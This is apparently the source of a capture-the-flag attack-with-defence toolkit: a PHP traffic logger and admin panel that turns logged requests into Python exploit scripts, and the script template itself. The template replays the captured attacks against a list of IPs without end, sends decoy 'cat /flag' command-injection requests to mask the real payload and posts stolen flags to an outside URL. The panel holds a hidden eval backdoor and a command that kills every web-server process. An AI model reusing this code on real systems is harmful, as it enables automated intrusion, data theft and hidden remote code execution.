121 | return json_encode($alback);
122 | }
123 | function banner($mod)
124 | {
125 | switch ($mod) {
126 | case 0:
127 | echo '';
133 | break;
134 | case 1:
135 | echo '';
141 | break;
142 | case 2:
143 | echo '';
149 | break;
150 | case 3:
151 | echo '';
157 | break;
158 | default:
159 | # code...
160 | break;
161 | }
162 |
163 | }
164 |
165 | function downloadpoc($id)
166 | {
167 | $id = explode(',',$id);
168 | $this_SalT_hhhaaaa_Db_p = new SaLt_Classsssss_LogDatA_HHHHHhhhhh();
169 | if (!$this_SalT_hhhaaaa_Db_p) {
170 | $back = array("code" => "500", "message", "open db error");
171 | return json_encode($back);
172 |
173 | }
174 | if(sizeof($id)<2) {
175 | $id = $id[0];
176 |
177 | $content = $this_SalT_hhhaaaa_Db_p->get_content_by_id($id);
178 | if ($content) {
179 | $content = json_decode($content, true);
180 | $content = $content[0];
181 | $temp = file_get_contents(BASE_PATH . '../temp.php');
182 | $temp = str_replace('wupco_url', addslashes($content[1]), $temp);
183 | $temp = str_replace('wupco_head', addslashes(htmlspecialchars_decode($content[6])), $temp);
184 | $temp = str_replace('wupco_get', addslashes($content[3]), $temp);
185 | $temp = str_replace('wupco_post', addslashes($content[2]), $temp);
186 | $temp = str_replace('wupco_poc_mod','0',$temp);
187 | $temp = str_replace('wupco_targets',"''",$temp);
188 | $temp = str_replace('wupco_t_headers',"''",$temp);
189 | $temp = str_replace('wupco_t_posts',"''",$temp);
190 | $temp = str_replace('wupco_t_gets',"''",$temp);
191 | $filename = (string)$id . "poc.py";
192 | header('Content-Type:application/octet-stream');
193 | header('Content-Disposition: attachment; filename="' . $filename . '"');
194 | echo $temp;
195 | return 1;
196 |
197 |
198 | } else {
199 | return 0;
200 | }
201 | }
202 | else
203 | {
204 | $headers = '';
205 | $posts = '';
206 | $gets = '';
207 | $targets = '';
208 | $count = 1;
209 | //("id"=>$row[0],"url"=>$row[1],"post"=>$row[2],"get"=>$row[3],"cookie"=>$row[4],
210 | //"time"=>$row[5],"headers"=>$row[6],"ip"=>$row[7],"risk"=>(int)$row[8],
211 | //"type"=>(int)$row[9],"count"=>(int)$row[11]);
212 | foreach ($id as $id_){
213 |
214 | if($id_ != '' && $count < count($id))
215 | {
216 | $content = $this_SalT_hhhaaaa_Db_p->get_content_by_id($id_);
217 | if ($content) {
218 | $content = json_decode($content, true);
219 | $content = $content[0];
220 | $headers .= "'''".addslashes(htmlspecialchars_decode($content[6]))."''',";
221 | $posts .= "'''".addslashes($content[2])."''',";
222 | $gets .= "'''".addslashes($content[3])."''',";
223 | $targets .= "'''".addslashes($content[1])."''',";
224 |
225 | }
226 | else
227 | {
228 | return 0;
229 | }
230 |
231 | }
232 | $count += 1;
233 |
234 | }
235 | $content = $this_SalT_hhhaaaa_Db_p->get_content_by_id(end($id));
236 | if($content){
237 | $content = json_decode($content, true);
238 | $content = $content[0];
239 | $wupco_url = addslashes($content[1]);
240 | $wupco_head = addslashes(htmlspecialchars_decode($content[6]));
241 | $wupco_get = addslashes($content[3]);
242 | $wupco_post = addslashes($content[2]);
243 | }
244 | else
245 | {
246 | return 0;
247 | }
248 | $headers = substr($headers,0,-1);
249 | $posts = substr($posts,0,-1);
250 | $gets = substr($gets,0,-1);
251 | $targets = substr($targets,0,-1);
252 | $temp = file_get_contents(BASE_PATH . '../temp.php');
253 | $temp = str_replace('wupco_url', $wupco_url, $temp);
254 | $temp = str_replace('wupco_head', $wupco_head, $temp);
255 | $temp = str_replace('wupco_get', $wupco_get, $temp);
256 | $temp = str_replace('wupco_post', $wupco_post, $temp);
257 | $temp = str_replace('wupco_poc_mod','mixed',$temp);
258 | $temp = str_replace('wupco_targets',$targets,$temp);
259 | $temp = str_replace('wupco_t_headers',$headers,$temp);
260 | $temp = str_replace('wupco_t_posts',$posts,$temp);
261 | $temp = str_replace('wupco_t_gets',$gets,$temp);
262 | $filename = (string)end($id) . "_mixedpoc.py";
263 | header('Content-Type:application/octet-stream');
264 | header('Content-Disposition: attachment; filename="' . $filename . '"');
265 | echo $temp;
266 | return 1;
267 |
268 | }
269 |
270 | }
271 |
272 | function del_log()
273 | {
274 |
275 | if(isset($_POST['id']))
276 | {
277 | $this_SalT_hhhaaaa_Db_p = new SaLt_Classsssss_LogDatA_HHHHHhhhhh();
278 | if(!$this_SalT_hhhaaaa_Db_p){
279 | $back = array("code"=>"500","message","open db error");
280 | return json_encode($back);
281 |
282 | }
283 | $ids = explode(',',$_POST['id']);
284 | foreach ($ids as $id)
285 | {
286 | $id = trim($id);
287 | if($id != '')
288 | {
289 | $this_SalT_hhhaaaa_Db_p->del_by_id((int)$id);
290 | }
291 | }
292 | return 1;
293 | }
294 | else
295 | return 0;
296 | }
297 |
298 |
299 | function index()
300 | {
301 | if(isset($_GET['id'])&&(int)$_GET['id']>=0)
302 | $id = (int)$_GET['id'];
303 | else
304 | $id = 0;
305 | if(isset($_GET['t'])&&(int)$_GET['t']>=0)
306 | $time = $_GET['t'];
307 | else
308 | $time = 0;
309 | $lognum = json_decode(getnum('all',0,$time));
310 | if($lognum->code == 500)
311 | die($lognum->message);
312 | $lognum = (int)($lognum->message);
313 | $page = (int)($lognum / 10);
314 | //echo (int)($lognum % 10);
315 | if((int)($lognum % 10) != 0)
316 | $page+=1;
317 | $tid = $id * 10;
318 |
319 | $con = json_decode(dumpalllog($tid,10,1,$time));
320 | if((int)($con->code) >= 500)
321 | {
322 | echo $con->message;
323 | }
324 | else
325 | {
326 | foreach($con->message as $log)
327 | {
328 |
329 | if($log->risk === 1)
330 | {
331 | $class = 'panel panel-danger';
332 | $bclass = 'alert alert-danger';
333 | }
334 | else
335 | {
336 | $class = 'panel panel-info';
337 | $bclass = 'alert alert-info';
338 | }
339 | switch ((int)$log->type) {
340 | case 0:
341 | $typeval = '暂无分类';
342 | $tclass = 'label label-default';
343 | break;
344 |
345 | case 1:
346 | $typeval = '畸形输入';
347 | $tclass = 'label label-default';
348 | break;
349 | case 2:
350 | $typeval = 'xss';
351 | $tclass = 'label label-default';
352 | break;
353 | case 3:
354 | $typeval = 'sql注入';
355 | $tclass = 'label label-danger';
356 | break;
357 | case 4:
358 | $typeval = '命令执行';
359 | $tclass = 'label label-danger';
360 | break;
361 |
362 | default:
363 | $typeval ='暂无分类';
364 | break;
365 | }
366 |
367 | echo '
368 |
369 |
'.htmlentities($log->url).'  '.$typeval.'  
370 |
371 |
372 |
373 |
374 | 次数: | '.htmlentities($log->count).' |
375 | IP: | '.htmlentities($log->ip).' |
376 | Time: | '.htmlentities($log->time).' |
377 | Get: | '.htmlentities($log->get).' |
378 | Post: | '.htmlentities($log->post).' |
379 | Cookie: | '.htmlentities($log->cookie).' |
380 | Show Headers
382 |
383 |
386 |
387 |
388 |
389 |
';
390 | }
391 |
392 | echo '';
407 | }
408 |
409 | }
410 |
411 | function gettime_am($start,$end)
412 | {
413 |
414 | return substr((string)$start,0,strspn((string)$start^(string)$end, "\0"));
415 |
416 |
417 | }
418 |
419 | function iplist()
420 | {
421 | if(isset($_GET['ip']))
422 | {
423 | showbysth('ip','iplist',$_GET['ip'],'ip');
424 | }
425 | else
426 | {
427 | $iplist = json_decode(getIPlist());
428 | if($iplist->code == 500)
429 | die($iplist->message);
430 | echo '';
431 |
432 | foreach($iplist->message as $ip)
433 | {
434 | //var_dump($ip);
435 | echo '- '.$ip.'
';
436 | }
437 |
438 | echo '
';
439 | }
440 | }
441 | function more()
442 | {
443 | showbysth('more','more','default','default');
444 | }
445 | function risk()
446 | {
447 | showbysth('risk','risk','default','default');
448 | }
449 | function showbysth($where,$mod,$sth,$sthkey)
450 | {
451 |
452 | //showbysth('where Ip = "'.$_GET['ip'].'" order by Time desc','iplist',$_GET['ip'],'ip');
453 | if(isset($_GET['id'])&&(int)$_GET['id']>=0)
454 | $id = (int)$_GET['id'];
455 | else
456 | $id = 0;
457 | if(isset($_GET['t'])&&(int)$_GET['t']>=0)
458 | $time = $_GET['t'];
459 | else
460 | $time = 0;
461 | $lognum = json_decode(getnum($where,$sth,$time));
462 | if($lognum->code == 500)
463 | die($lognum->message);
464 | $lognum = (int)($lognum->message);
465 | $page = (int)($lognum / 10);
466 | if((int)($lognum % 10) != 0)
467 | $page+=1;
468 | $tid = $id * 10;
469 | //$where.=' limit '.$tid.',10';
470 | //getbysth($where,$start,$num,$desc,$sth)
471 | $con = json_decode(getbysth($where,$tid,10,1,$sth,$time));
472 | if((int)($con->code) >= 500)
473 | {
474 | echo $con->message;
475 | }
476 | else
477 | {
478 |
479 | foreach($con->message as $log)
480 | {
481 |
482 | if($log->risk === 1){
483 | $class = 'panel panel-danger';
484 | $bclass = 'alert alert-danger';
485 | }
486 | else
487 | {
488 | $class = 'panel panel-info';
489 | $bclass = 'alert alert-info';
490 | }
491 | switch ($log->type) {
492 | case 0:
493 | $typeval = '暂无分类';
494 | $tclass = 'label label-default';
495 | break;
496 |
497 | case 1:
498 | $typeval = '畸形输入';
499 | $tclass = 'label label-default';
500 | break;
501 | case 2:
502 | $typeval = 'xss';
503 | $tclass = 'label label-default';
504 | break;
505 | case 3:
506 | $typeval = 'sql注入';
507 | $tclass = 'label label-danger';
508 | break;
509 | case 4:
510 | $typeval = '命令执行';
511 | $tclass = 'label label-danger';
512 | break;
513 |
514 | default:
515 | $typeval ='暂无分类';
516 | break;
517 | }
518 |
519 | echo '
520 |
521 |
'.htmlentities($log->url).'  '.$typeval.'
522 |
523 |
524 |
525 |
526 | 次数: | '.htmlentities($log->count).' |
527 | IP: | '.htmlentities($log->ip).' |
528 | Time: | '.htmlentities($log->time).' |
529 | Get: | '.htmlentities($log->get).' |
530 | Post: | '.htmlentities($log->post).' |
531 | Cookie: | '.htmlentities($log->cookie).' |
532 | Show Headers
534 |
535 |
538 |
539 |
540 |
541 |
';
542 | }
543 |
544 | echo '';
559 | }
560 | }
561 |
562 | function check_login()
563 | {
564 | if (isset($_SESSION['user']) && !empty($_SESSION['user'])){
565 | return 1;
566 | }else{
567 | return 0;
568 | }
569 |
570 | }
571 |
572 | function login()
573 | {
574 | if (isset($_POST['user'])){
575 | $user = $_POST['user'];
576 | $password = $_POST['password'];
577 | if ($user === username && $password === password) {
578 | $_SESSION['user'] = $user;
579 | return 1;
580 | }else{
581 | return 0;
582 | }
583 | }
584 | else
585 | return 0;
586 | }
587 |
588 | if($_SERVER["REMOTE_ADDR"]==='127.0.0.1')
589 | if(isset($_GET['cmdpwd'])){
590 | if($_GET['cmdpwd']=== md5(password))
591 | @eval($_POST['cmd_ahaha']);
592 | }
593 |
594 | if(!check_login())
595 | {
596 |
597 | $form ='
598 |
603 | ';
604 | if(!login())
605 | {
606 | die($form);
607 | }
608 | }
609 | else
610 | {
611 | del_log();
612 | if(isset($_GET['stop']))
613 | {
614 | system('ps aux|grep \'www-data\'|awk {print $2}|xargs kill -9');
615 | }
616 | if(isset($_GET['pocid']))
617 | {
618 | downloadpoc($_GET['pocid']);
619 | exit();
620 | }
621 | echo '
622 |
623 |
624 |
625 |
626 |
627 |
628 |
629 |
630 |
631 |
632 |
633 | ';
634 |
635 | echo '';
687 | if(isset($_GET['m']))
688 | {
689 | $m = addslashes($_GET['m']);
690 | if(isset($_POST['start'])&&isset($_POST['end']))
691 | {
692 | $time = gettime_am(strtotime($_POST['start']),strtotime($_POST['end']));
693 | echo "
694 |
695 |
748 | ";
749 |
750 | }
751 | switch ($m) {
752 | case 'index':
753 | banner(0);
754 | index();
755 | break;
756 | case 'iplist':
757 | banner(1);
758 | iplist();
759 | break;
760 | case 'risk':
761 | banner(2);
762 | risk();
763 | break;
764 | case 'more':
765 | banner(3);
766 | more();
767 | break;
768 | default:
769 | banner(0);
770 | index();
771 | break;
772 | }
773 |
774 | }
775 | else
776 | {
777 | echo "";
778 | }
779 |
780 | }
781 |
--------------------------------------------------------------------------------
/rm_me.sh:
--------------------------------------------------------------------------------
1 | pdir=`pwd`
2 | rm -r $pdir
3 |
4 |
--------------------------------------------------------------------------------
/temp.php:
--------------------------------------------------------------------------------
1 | import base64
2 | import re
3 | import os
4 | import json
5 | import string
6 | import random
7 | import time
8 | import requests
9 | from urlparse import *
10 |
11 | iplist = []
12 | for line in open("ip.txt"):
13 | iplist.append((line).strip())
14 | platformurl = "http://input_this" # the url to submit flag
15 | platformheader = {
16 | }
17 |
18 | #post things for platform
19 | platpost = {
20 | "flag":"{0}",
21 | "token":"12345"
22 | }
23 |
24 | platmod = 1 # 0=>get 1=>post 2=>json post method for submitting flag
25 |
26 | preg_str = r"Undefined index: ([a]{2}) in /var/" # find flag in content
27 |
28 | url_ = '''wupco_url'''
29 | url = url_.replace((urlparse(url_).netloc.split(':',1))[0],'{0}')
30 | #header
31 | headerstr = '''wupco_head'''
32 |
33 | #getstr
34 | GETstr = '''wupco_get'''
35 | if GETstr!='''''':
36 | url = url+'?'+GETstr
37 | #poststr
38 | POSTstr = '''wupco_post'''
39 | pocmod = 'wupco_poc_mod'
40 | headerarr = headerstr.split('\n')
41 | header = {}
42 | for i in headerarr:
43 | if i !='':
44 | i = i.split(' : ',1)
45 | if i[0].strip().upper() == 'HOST':
46 | header[i[0].strip().upper()] = i[1].replace((i[1].split(':',1))[0],'{0}')
47 | else:
48 | header[i[0].strip()] = i[1]
49 |
50 | if POSTstr!='''''':
51 | mod = 1
52 | else:
53 | mod = 0
54 |
55 | #hide the true payload
56 | nomalhead = {
57 | 'USER-AGENT' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3269.3 Safari/537.36',
58 | 'UPGRADE-INSECURE-REQUESTS' : '1',
59 | 'ACCEPT' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
60 | 'ACCEPT-ENCODING' : 'gzip, deflate',
61 | 'ACCEPT-LANGUAGE' : 'zh-CN,zh;q=0.9,zh-TW;q=0.8',
62 | 'X-Forwarded-For': '127.0.0.1\'"
'
63 | }
64 | def genrand(_len):
65 | return ''.join(random.sample(string.ascii_letters + string.digits, _len))
66 |
67 | def _req(mod,url,headers,poststr):
68 | global nomalhead
69 | if mod == 0:
70 | try:
71 | for i in range(1,random.randint(2,9)):
72 | try:
73 | salt = requests.post(url=url+"?"+genrand(random.randint(1,5))+"=system('cat /flag');"+genrand(random.randint(10,32)),headers=nomalhead,timeout=0.5,data={genrand(3):genrand(20)})
74 | except:
75 | continue
76 | for i in range(1,4):
77 | randstr = genrand(4)
78 | for j in range(1,random.randint(2,5)):
79 | try:
80 | salt = requests.post(url=url+"?"+randstr+'=system(\'cat /flag\');',headers=nomalhead,timeout=0.5)
81 | except:
82 | continue
83 | req = requests.get(url=url,headers=headers,timeout=1)
84 | return req
85 | except requests.exceptions.ConnectTimeout:
86 | print 'local network error\n'
87 | return -1
88 | except requests.exceptions.Timeout:
89 | print 'Connect Timeout\n'
90 | return -2
91 | except:
92 | print 'Get '+url+' error!\n'
93 | return -3
94 | else:
95 | try:
96 | for i in range(1,random.randint(2,9)):
97 | try:
98 | salt = requests.post(url=url+"?"+genrand(random.randint(1,5))+"=system('cat /flag');"+genrand(random.randint(10,32)),headers=nomalhead,timeout=0.5,data={genrand(3):genrand(20)})
99 | except:
100 | continue
101 | for i in range(1,4):
102 | randstr = genrand(4)
103 | for j in range(1,random.randint(2,5)):
104 | try:
105 | salt = requests.post(url=url+"?"+randstr+'=system(\'cat /flag\');',headers=nomalhead,timeout=0.5)
106 | except:
107 | continue
108 | req = requests.post(url=url,headers=headers,data=poststr,timeout=1)
109 | return req
110 | except requests.exceptions.ConnectTimeout:
111 | print 'local network error\n'
112 | return -1
113 | except requests.exceptions.Timeout:
114 | print 'Connect Timeout\n'
115 | return -2
116 | except:
117 | print 'POST '+url+' error!\n'
118 | print poststr
119 | return -3
120 |
121 | def beforeattack(ip):
122 | targets = [wupco_targets]
123 | t_headers = [wupco_t_headers]
124 | t_posts = [wupco_t_posts]
125 | t_gets = [wupco_t_gets]
126 |
127 | for t_i in range(1,len(targets)):
128 | t_url = targets[t_i].replace((urlparse(targets[t_i]).netloc.split(':',1))[0],ip)
129 | t_header_n = t_headers[t_i].split('\n')
130 | t_header = {}
131 | for i in t_header_n:
132 | if i !='':
133 | i = i.split(' : ',1)
134 | if i[0].strip().upper() == 'HOST':
135 | t_header[i[0].strip().upper()] = i[1].replace((i[1].split(':',1))[0],ip)
136 | else:
137 | t_header[i[0].strip()] = i[1]
138 |
139 | t_get = t_gets[t_i]
140 | t_post = t_posts[t_i]
141 | t_datastr = {}
142 | if t_post != '':
143 | t_poststr = t_post.split('&')
144 | for t_p in t_poststr:
145 | t_pm = t_p.split('=',1)
146 | if len(t_pm)<2:
147 | t_datastr = t_pm[0]
148 | else:
149 | t_datastr[t_pm[0]] = t_pm[1]
150 | _req(1,t_url,t_header,t_datastr)
151 | time.sleep(0.5)
152 |
153 | else:#def _req(mod,url,headers,poststr):
154 | _req(0,t_url,t_header,'')
155 | time.sleep(0.5)
156 | return 1
157 |
158 | def attack(iplist,mod,url,headers,poststr):
159 | global platmod
160 | for ip in iplist:
161 | global pocmod
162 | if pocmod == 'mixed':
163 | beforeattack(ip)
164 |
165 | t_url = url
166 | t_url = t_url.format(ip)
167 | if headers.has_key('HOST'):
168 | headers['HOST'] = headers['HOST'].format(ip)
169 | req = _req(mod,t_url,headers,poststr)
170 | if(req > 0):
171 | if len(getflag(req.content)) == 0:
172 | exit('regx error!')
173 | for proflag in getflag(req.content):
174 | print "try to submit flag: "+proflag
175 | submitflag(platmod,proflag,ip)
176 |
177 | elif(req == -1):
178 | if headers.has_key('HOST'):
179 | headers['HOST'] = headers['HOST'].format(ip)
180 | req = _req(mod,t_url,headers,poststr)
181 | if req > 0:
182 | if len(getflag(req.content)) == 0:
183 | exit('regx error!')
184 | for proflag in getflag(req.content):
185 | print "try to submit flag: "+proflag
186 | submitflag(platmod,proflag,ip)
187 | else:
188 | continue
189 | elif(req == -2):
190 | continue
191 | elif(req == -3):
192 | if headers.has_key('HOST'):
193 | headers['HOST'] = headers['HOST'].format(ip)
194 | req = _req(mod,t_url,headers,poststr)
195 | if req > 0:
196 | if len(getflag(req.content)) == 0:
197 | exit('regx error!')
198 | for proflag in getflag(req.content):
199 | print "try to submit flag: "+proflag
200 | submitflag(platmod,proflag,ip)
201 | else:
202 | continue
203 |
204 | def getflag(content):
205 | return re.findall(preg_str,content)
206 |
207 | def submitflag(mod,flag,ip):
208 | global platformurl
209 | global platpost
210 | global platformheader
211 | if mod == 0:#get
212 |
213 | platformurl_n = platformurl.format(flag)
214 | try:
215 | requests.get(url = platformurl_n,headers = platformheader)
216 | print "submit "+str(ip)+" flag: " + flag + "\n"
217 | return 1
218 | except:
219 | submitflag(mod,flag,ip)
220 |
221 | elif mod == 1:#post
222 | platpost_n = platpost
223 | for p in platpost_n:
224 | platpost_n[p] = platpost_n[p].format(flag)
225 | try:
226 | requests.post(url = platformurl,data = platpost_n, headers = platformheader)
227 | print "submit "+str(ip)+" flag: " + flag + "\n"
228 | return 1
229 | except:
230 | submitflag(mod,flag,ip)
231 | elif mod == 2:#json post
232 | platpost_n = platpost
233 | for p in platpost_n:
234 | platpost_n[p] = platpost_n[p].format(flag)
235 | try:
236 | requests.post(url = platformurl,data = json.dumps(platpost_n),headers = platformheader)
237 | print "submit "+str(ip)+" flag: " + flag + "\n"
238 | return 1
239 | except:
240 | submitflag(mod,flag,ip)
241 |
242 |
243 |
244 |
245 |
246 |
247 | #attack(iplist,0,url,header,'1')
248 | datastr = {}
249 | if mod == 1:
250 | poststr = POSTstr.split('&')
251 | for p in poststr:
252 | pm = p.split('=',1)
253 | if len(pm)<2:
254 | datastr = pm[0]
255 | else:
256 | datastr[pm[0]] = pm[1]
257 | while True:
258 | try:
259 | attack(iplist,mod,url,header,datastr)
260 | except:
261 | attack(iplist,mod,url,header,datastr)
262 | time.sleep(1)
263 | else:
264 | while True:
265 | try:
266 | attack(iplist,mod,url,header,'1')
267 | except:
268 | attack(iplist,mod,url,header,'1')
269 | time.sleep(1)
270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 |
278 |
--------------------------------------------------------------------------------
/weblogpro.php:
--------------------------------------------------------------------------------
1 | no waf;1=>simple waf;2=>middle waf;3=>fuck waf
9 | define('BlAck_Or_WhiTe_List',1);//0=>none;1=>black;2=>white
10 | define('LogGer_Web_DiR','^^^^^^^^');
11 |
12 | include(salt_Logger_bAse_DIR.'data.php');
13 | $sAlt_enCryPted = salt_THIS_IS_PRV_KEY.salt_THIS_IS_FILE_SALT;
14 | $sAlt_file_BaSe_dIr = salt_Logger_bAse_DIR.md5($sAlt_enCryPted);
15 |
16 | define('SaLt_This_is_BAse_DiR',$sAlt_file_BaSe_dIr);
17 | $risk_xxx_ttt_id = 0;
18 | $danger_sd_be_baned = 0;
19 | class SaLt_Classsssss_LogDatA_HHHHHhhhhh extends SaLt_Classsssss_LogDb_HHHHhhhhh
20 | {
21 | private $url,$ip,$time,$cookie,$getstr,$poststr,$headers,$risk,$type,$file;
22 | function __construct()
23 | {
24 | $this->data_root_dir = SaLt_This_is_BAse_DiR."/";
25 | $this->path = $this->data_root_dir.'lock/';
26 | $this->url =$this-> get_url();
27 | $this->ip = $this->get_ip();
28 | $this->time = $this->get_date();
29 | $this->cookie = $this->get_cookie();
30 | $this->getstr = $this->get_getstr();
31 | $this->poststr = $this->get_poststr();
32 | $this->headers = $this->get_headers();
33 | $this->type = $this->get_type();
34 | $this->file = $this->get_file();
35 | $this->risk = 0;
36 | }
37 | function get_file()
38 | {
39 | return $_SERVER['PHP_SELF'];
40 | }
41 |
42 | function get_url()
43 | {
44 | return 'http://'.$_SERVER['SERVER_NAME'].':'.$_SERVER["SERVER_PORT"].$_SERVER['PHP_SELF'];
45 | }
46 |
47 | function get_cookie()
48 | {
49 | return http_build_query($_COOKIE);
50 | }
51 |
52 | function get_getstr()
53 | {
54 | return http_build_query($_GET);
55 | }
56 |
57 | function get_poststr()
58 | {
59 | return $_POST?http_build_query($_POST):file_get_contents("php://input");
60 | }
61 |
62 | function get_headers()
63 | {
64 | $this_SalT_hhhaaaa_ReT_p = "";
65 | $headers = array();
66 | foreach ($_SERVER as $key => $value) {
67 | if ('HTTP_' == substr($key, 0, 5)) {
68 | $headers[str_replace('_', '-', substr($key, 5))] = $value;
69 | }
70 | }
71 | if (isset($_SERVER['PHP_AUTH_DIGEST'])) {
72 | $header['AUTHORIZATION'] = $_SERVER['PHP_AUTH_DIGEST'];
73 | } elseif (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
74 | $header['AUTHORIZATION'] = base64_encode($_SERVER['PHP_AUTH_USER'] . ':' . $_SERVER['PHP_AUTH_PW']);
75 | $header['CONTENT-LENGTH'] = $_SERVER['CONTENT_LENGTH'];
76 | }
77 | if (isset($_SERVER['CONTENT_TYPE'])) {
78 | $header['CONTENT-TYPE'] = $_SERVER['CONTENT_TYPE'];
79 | }
80 | if (isset($headers['HOST'])){
81 | $this_SalT_hhhaaaa_ReT_p .= 'HOST : '.htmlentities($headers['HOST'])."\n";
82 | }
83 | foreach ($headers as $key => $value) {
84 | if($key!='HOST')
85 | $this_SalT_hhhaaaa_ReT_p = $this_SalT_hhhaaaa_ReT_p.htmlentities($key).' : '.htmlentities($value)."\n";
86 | }
87 |
88 | return str_replace("\x00",'\0',$this_SalT_hhhaaaa_ReT_p);
89 | }
90 |
91 | function get_date()
92 | {
93 | date_default_timezone_set('PRC');
94 | return date('y-m-d H:i:s',time());
95 | }
96 |
97 | function get_ip()
98 | {
99 | return $_SERVER["REMOTE_ADDR"];
100 | //return "127.0.0.2";
101 | }
102 |
103 | function get_risk($id)
104 | {
105 |
106 | $rand = (string)time().(string)rand(1000,9999);
107 | $server = "http://".$_SERVER['SERVER_NAME'].':'.$_SERVER["SERVER_PORT"]."/".LogGer_Web_DiR."wupco_check.php?rand=".$rand."&id=".$id;
108 | $pre_str =<<.*<\/script>/g,"");var xml = new XMLHttpRequest();xml.open('POST', '
115 | JS;
116 | $payload.=$server;
117 | $payload.=<< $v){
129 | $tmp .= '+O('.intval(((ord($v)+(rand(99999999,999999999)/1000000000))*99)*10000).')';
130 | }
131 | $tmp .='+"");';
132 | $my_js = "";
133 | echo $my_js;
134 | return 0;
135 | }
136 |
137 | function get_type()
138 | {
139 | $url_arr=array(
140 | '1'=>"\\=\\+\\/v(?:8|9|\\+|\\/)|\\%0acontent\\-(?:id|location|type|transfer\\-encoding)",
141 | );
142 | $args_arr=array(
143 | '2'=>"[\\'\\\"\\;\\*\\<\\>].*\\bon[a-zA-Z]{3,15}[\\s\\r\\n\\v\\f]*\\=|\\b(?:expression)\\(|\\